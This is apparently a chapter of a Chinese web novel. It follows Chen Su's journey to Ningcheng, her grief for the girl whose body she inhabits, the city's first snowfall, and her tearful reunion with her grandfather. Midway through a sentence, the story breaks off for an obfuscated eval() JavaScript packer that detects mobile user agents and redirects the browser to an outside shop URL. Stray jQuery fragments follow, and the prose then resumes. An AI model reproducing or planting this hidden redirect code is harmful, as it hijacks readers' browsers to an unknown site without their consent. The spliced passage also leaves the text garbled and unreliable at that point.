孙婆子哪里会用这些,不过陈素交予她了,她便顺应命令接下了罢了。
陈远道安排的这些随行家奴虽算不上顶尖高手,但多少都是有些功夫在身上的。
不知是否是因昨晚的那些事情缘故,孙婆子的心总是很慌,尤其是他们驶向枯芽山时,她的心脏就像要是跳出来一般,仿佛前方有更大的灾难等着他们二人。
枯芽山这段路是他们前往宁城的必经之路,山上设有官道,相对来说还算安全,可偏偏这事故频发地便是这官道……
陈素感受到了孙婆子的慌张,她轻轻地拍了拍孙婆子的手背,示意孙婆子放心,接下来的路有她在,他们不会有事的。
冬日的枯芽山视线虽较夏日相比要清晰许多,但越往山的深处走,这寒意便更添一分。
冷风顺着车帘涌入车内时陈素不由得打了个喷嚏,孙婆子见状连忙将手帕递于陈素手中。
山上道路险峻,上山下山便消耗了将近一日的路途。
下山后,他们再度寻了一家驿站休息。
换了男装之后他们行动方便了许多,这一次他们没再受到那般异样的目光,夜里过得相对安稳。
原本三日的路程,因着中途耽误了些时间,原本计划的三日时间硬生生地被他们拉成了四日。
自幼时一别后,陈素已经将近十年未曾来过这宁城了。
宁城虽处于望都城的南部,但气温上较望都城相比反而更低一些。
陈素又饮了一杯热茶,轻轻掀起门帘打量着马车外的景色。
到底是接近年关了,这宁城的街上家家户户都挂上了红灯,买卖年货的小摊贩吆喝着自家的产品,希望来年也如今日这般旺景。
这宁城街道繁华,孙婆子瞧陈素看得痴迷,故而凑近问道:“姑娘可要下车逛一逛?”
陈素闻言轻声摇头:“不用了。”
她收回那落于马车外的视线,掏出小铜镜来打理容貌,转而问身侧的孙婆子:“孙婆婆,我这样去见外祖父,他会喜欢吗?”
“云相会喜欢的。”孙婆子犹记得当年云骞望向陈素时的眼眸,那深深的爱意如同那一汪泉水,流淌于时光之中,永不消逝,爱意永如初。
陈素垂下眼帘,搭于膝盖之上的手倏然握紧了拳头,片刻后才缓缓抬至胸口处。
“昭珩……”她阖上眼,试图唤醒那主动这一世生命的陈素,“你听得到吗?我来见外祖父了。”
她说:“我来见我们的外祖父了,你可以看到我们吗?”
她一遍又一遍地呼唤着她,希望她能够睁开双眸去瞧一瞧这个新的世界,然而她等了许久都未等到她的回应。
长久的沉默令陈素不由得湿了眼眶。
她以为她与她不同的,她以为她不会如同她那般多愁善感,可她当她真正地拥有她的这副身体时,她所有的情绪都由她的这颗心牵引着。
明明她已经不在了,但是她还是可以感受到她心底的哀伤,她还是会下意识地选择她会做出的决定。
她不是她,她在模仿她,模仿得差点忘记了曾经的自己。
她在看吗?
陈素不确定。
若是她在看的话,她为什么不应声呢?
是因为她曾主动放弃这重来一次的生命,而对自己感到失望吗?
她怎么那么傻呢?
她们是同一个人啊。
当她放弃生命时她从她的意识中逃了出来,那不就是说明,在她意识的深处,她是不想死的吗?
当她从那意识深处逃出来时,那被掩埋于心中的种子便已经开始发芽了。
傻子。
她真是个傻子。
长久未等到回应的陈素不禁苦笑,任由泪水由眼角滑落。
孙婆子瞧见陈素那从眼角滑落的泪水时,神情一顿,再度从袖中抽出一块手帕,轻轻替陈素擦拭眼角的泪水。
陈素握住孙婆子的手,“孙婆婆,我自己来便好。”
“姑娘,”孙婆子瞧着陈素落泪的模样不禁心疼道:“等到了云府一切都会好起来的。”
陈素缓缓抬起眼睫瞧她,沉声“嗯”了声,“一切都会好起来的。”
等他们到了云府,这一切便都会好起来了。
陈素朝着孙婆子笑笑,擦拭净泪水后,侧身望向车窗外。
她再度掀起车窗的帘子,任由那寒风吹打于脸上。
刺骨的疼痛令她瞬间清醒了半分,正欲收回手时倏然感到一股冰凉感,又带着些痒。
感受到那抹冰凉之感的陈素缓缓抬起眼睫,只见微小的雪花顺着寒风瑟瑟落下,飘落于青石板上,转瞬即化。
“下雪了。”
瞧见雪花的陈素并没有立即收回手,而是静静仰头瞧着那空中飘落的雪花。
“是你看到了吗?”陈素不禁问。
街上那络绎不绝的吆喝声在雪落下的那一刻瞬间静止,纷纷驻足观望这悄然飘落的雪花。
宁城处于宸国南部,常年阴雨连绵,冬季更是潮湿阴冷,从未见过雪。
如今天降大雪,宁城的百姓惊讶驻足,良久后才雀跃着大声唤道:“下雪了!明年丰收喽!”
下雪了。
来年他们的庄稼会有好收成吗?
他们常听到“瑞雪兆丰年”这一词汇,但他们从未见过雪,所以并不知这一词汇是否准确。
但这是宁城的第一场雪,不管来年如何,他们都相信明年会拥有一个好收成。
雪落下的那一刻,宁城中的每一位百姓的脸上都带着笑。
城内的百姓都是第一次见雪,很快街道上便驻足了许多人。
刚赶至宁城的陈素被迫逼停,同他们一同享受这喜悦。
瞧着这群百姓喜笑颜开的模样,那原本积攒于心中的苦闷在瞧见他们的那一瞬也瞬间消散。
马车被逼停,孙婆子也掀起车帘向车窗外望去。
“看来要停一段时间了。”孙婆子收回落于车窗外的目光道。
“停了也好,我们也陪他们热闹一下。”陈素的视线依旧落于车窗外。
她偏头望向马车前方,那里是她外祖父的府宅。
耳边倏然响起一道铜铃声,陈素顺着声音的方向抬眸望去,只一眼便瞧见了那同样被困于人群中央的俊朗公子。
他的手紧紧地握着缰绳,生怕那拥挤的人群冲撞了马,到时候
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734483|144590||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一发不可收拾伤了那些百姓。
陈素盯着他的动作望了一瞬,很快便收回了那落于他身上的目光。
他们大抵是要于这街上堵一阵儿了,那位公子握着缰绳的手冻得通红,看着十分难受。
陈素垂眸瞧了眼握于手中的手炉,斟酌片刻后再度掀起车帘,轻声唤了他一声,“公子。”
听见这声公子的男人神情微愣,偏头时见陈素递来一只手炉,不禁疑惑问:“我?”
陈素微点头:“您的手都冻红了,握着手炉暖一暖吧。”
她偏头望向那拥挤的人群,“这里一时半会儿不会散去,也不知要堵到何时……”她收回那落于前方的目光,再度抬眸瞧向那眉目俊朗的男人,“您先抱着手炉暖一暖手吧,待这路通了,您再还于我。”
“那多谢姑娘了。”男人接过陈素的手炉。
孙婆子见陈素将那暖手炉交了出去,打量着瞧向窗外,还未看清男人的容貌,陈素便放下了那车帘,静静等待。
大概堵了半个时辰这街道上的人群才逐渐散去,男人将手炉递还给陈素,临别时只朝着她微点头便头也不回地架马离去了。
陈素接过手炉后将其放至一侧,车马不紧不慢地向前走着。
因着下了雪的缘故,车马向前行进的速度慢了许多。
赶到云府外时天已渐昏,孙婆子先陈素一步下车敲门,待管家开门后秉明来意。
这云府的李管家去年走了,如今掌事的官家是李管家的外甥,前两年才来投奔的李管家,故而并不认得孙婆子。
新来的刘管家听清来意后立即回府禀告,片刻后,云骞立即拄着拐从府内走了出来。
再瞧见那立于府门外的陈素时,那原本一直于眼眶中打转的泪水终是忍不住落了下来。
“外祖父。”瞧见云骞的那一瞬,陈素立即提着裙摆奔向云骞的怀中,温声唤着他。
陈素于望都中的遭遇云骞都有耳闻,不过消息闭塞,她落水之时他更是今日才得知。
得知消息后的云骞准备立即启程前往望都看望她,他这里才收拾好行李,还未来的出发便收到了陈素抵达的消息。
初听闻这个消息时云骞以为自己听错了,他又同刘管家确认了许多遍,直至他描述出陈素的长相时,云骞这才晃晃悠悠地向着府门外走去。
自陈远道带着陈素回府后,陈远道便再也没让陈素出过府,生怕陈素会同云锦那般失去性命。
云骞知晓陈远道的良苦用心,但这样做,他们终究是害了陈素。
陈素离开后的十年云骞每一年都会给陈素写信,哪怕他十分想念陈素,但他都从未踏足望都,只因云锦离世那年,他曾于当今圣上请旨,令他再不可返回望都,若善闯,杀无赦。
陈素并不知云骞自请离开望都这件事,她只单纯地以为是她的父亲不愿她见她的外祖父。
陈远道从未向她解释过其中缘由,她也从未问过,这误解便一直藏于心中。
来之前,她甚至以为这次他放她出来探望云骞,也不过是因为这一次是他的六十大寿,故而准许她前来罢了。
毕竟,这于他们所有人来说都是一场极其重要的寿宴。